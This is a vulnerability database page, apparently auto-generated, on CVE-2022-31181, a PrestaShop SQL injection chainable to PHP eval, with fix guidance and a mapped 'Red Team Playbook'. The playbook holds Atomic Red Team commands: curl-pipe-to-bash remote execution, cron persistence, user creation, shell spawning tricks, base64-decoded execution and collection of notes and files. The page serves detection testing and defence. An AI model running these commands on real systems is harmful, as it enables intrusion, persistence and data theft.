CVE-2022-31181
Overview
This vulnerability is an SQL injection rooted in improper sanitization of user input within PrestaShop's MySQL Smarty cache feature. The flaw allows crafted input to be injected into SQL queries, which can then be chained to invoke PHP's eval function, enabling execution of arbitrary PHP code. The affected component is the MySQL Smarty cache mechanism present in PrestaShop versions from 1.6.0.10 up to but not including 1.7.8.7.
Vulnerability Description
PrestaShop is an Open Source e-commerce platform. In versions from 1.6.0.10 and before 1.7.8.7 PrestaShop is subject to an SQL injection vulnerability which can be chained to call PHP's Eval function on attacker input. The problem is fixed in version 1.7.8.7. Users are advised to upgrade. Users unable to upgrade may delete the MySQL Smarty cache feature.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without any user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation allows execution of arbitrary PHP code, leading to full compromise of the affected PrestaShop instance, including data theft, manipulation, and potential disruption of e-commerce operations.
Solution
Users should upgrade PrestaShop to version 1.7.8.7 or later, where this vulnerability is fixed, as detailed in the official GitHub security advisory GHSA-hrgx-p36p-89q4 and release notes at https://github.com/PrestaShop/PrestaShop/releases/tag/1.7.8.7. For environments unable to upgrade immediately, disabling or deleting the MySQL Smarty cache feature is recommended as a temporary mitigation measure.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in PrestaShop, an open-source e-commerce platform, is a critical SQL injection flaw that allows attackers to manipulate database queries. This vulnerability arises from improper validation of user inputs, particularly in the context of dynamic SQL queries. When an attacker successfully exploits this weakness, they can inject malicious SQL code that the application executes, potentially leading to unauthorized access to sensitive data. The severity of this vulnerability is heightened by its ability to chain with PHP's Eval function, which can execute arbitrary PHP code provided by the attacker. This combination not only compromises the integrity of the database but also opens the door to further exploitation of the server environment.
Attack vectors for this vulnerability are diverse, primarily targeting web applications that utilize PrestaShop versions prior to 1.7.8.7. An attacker could exploit this flaw through various means, such as crafting a malicious URL or form submission that includes SQL injection payloads. Once the attacker gains access to the database, they can manipulate data, extract sensitive information like customer details, or even escalate privileges to execute commands on the server. In more sophisticated scenarios, the attacker could leverage the Eval function to execute arbitrary PHP code, leading to full system compromise. This makes the vulnerability particularly dangerous, as it can be used to deploy malware, create backdoors, or pivot to other systems within the network.
The real-world impact of this vulnerability can be devastating for businesses that rely on PrestaShop for their e-commerce operations. A successful exploitation could lead to significant data breaches, resulting in the exposure of customer information, payment details, and proprietary business data. The financial implications are severe, including potential regulatory fines, loss of customer trust, and damage to brand reputation. Furthermore, the operational disruption caused by a security incident could lead to downtime, loss of sales, and increased recovery costs. Given the high CVSS score of 9.8, organizations must prioritize addressing this vulnerability to mitigate the associated risks.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating PrestaShop to the latest version is the most effective way to eliminate the risk, as the vendor has released patches to address the issue. For users unable to upgrade immediately, it is recommended to disable the MySQL Smarty cache feature as a temporary measure to reduce exposure. Additionally, employing web application firewalls (WAFs) can help detect and block SQL injection attempts. Organizations should also conduct regular security assessments, including vulnerability scanning and penetration testing, to identify and remediate potential weaknesses in their applications. Educating developers on secure coding practices and input validation techniques is crucial to prevent similar vulnerabilities in the future.
In conclusion, the SQL injection vulnerability in PrestaShop poses a significant threat to e-commerce businesses, with the potential for severe financial and reputational damage. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to protect their systems. Implementing robust detection and mitigation strategies, along with fostering a culture of security awareness, will be essential in safeguarding against such critical vulnerabilities in the evolving threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Prestashop | Prestashop | All |
cpe:2.3:a:prestashop:prestashop:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
drkbcn/lblfixer_cve_2022_31181
Module for PrestaShop 1.6.1.X/1.7.X to fix CVE-2022-31181 / CVE-2022-36408 vulnerability (Chain SQL Injection)
|
drkbcn | 0 | 1 | 2022-07-26 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-31181 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-hrgx-p36p-89q4 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/PrestaShop/PrestaShop/commit/b6d96e7c2a4e35a44e96ffbcdfd34439b56af804 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/PrestaShop/PrestaShop/releases/tag/1.7.8.7 |